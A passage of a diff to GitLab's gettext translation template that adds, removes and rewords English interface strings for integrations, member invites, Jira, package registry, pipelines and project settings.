msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16489,9 +16936,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16516,6 +16960,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16552,9 +16999,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16750,7 +17194,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16759,7 +17203,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16768,25 +17212,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16801,6 +17245,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16963,6 +17410,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16972,6 +17422,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17059,6 +17512,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17122,6 +17578,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17209,6 +17668,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17221,9 +17683,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17263,7 +17734,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17284,7 +17758,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17296,12 +17770,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17518,15 +17998,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17617,6 +18088,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17821,6 +18295,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18226,6 +18703,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18295,6 +18775,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18469,6 +18952,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18508,6 +18994,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18532,9 +19021,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18610,6 +19096,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18628,13 +19117,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18709,6 +19195,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18811,9 +19300,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18823,9 +19309,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18958,9 +19441,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19018,9 +19498,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19585,6 +20062,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19777,6 +20257,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19840,6 +20326,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19975,6 +20464,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20293,6 +20785,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20341,9 +20842,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20509,6 +21007,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20554,6 +21055,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20620,7 +21124,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20671,6 +21175,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20758,6 +21265,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20929,6 +21439,30 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21043,6 +21577,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21175,10 +21718,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21268,9 +21808,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21295,9 +21832,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21328,6 +21862,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21415,12 +21952,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21439,9 +21970,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21454,10 +21982,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21472,6 +22003,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21523,6 +22057,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21631,12 +22168,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21667,6 +22210,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21685,6 +22231,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21736,6 +22285,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21760,9 +22312,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21799,15 +22348,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21859,27 +22435,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22117,10 +22672,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22201,7 +22765,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22450,9 +23014,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22471,6 +23032,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22546,6 +23110,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22615,9 +23191,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22768,10 +23341,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22807,6 +23380,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22945,6 +23530,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22969,6 +23560,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22993,6 +23587,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23251,7 +23848,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23641,6 +24238,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23656,49 +24256,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23752,25 +24385,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23782,7 +24418,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23794,7 +24430,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23806,10 +24442,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23842,10 +24478,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23869,15 +24508,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23908,7 +24541,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23917,7 +24550,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23938,16 +24571,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr ""
-
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23959,12 +24589,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23992,10 +24625,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24529,6 +25162,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24550,7 +25192,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
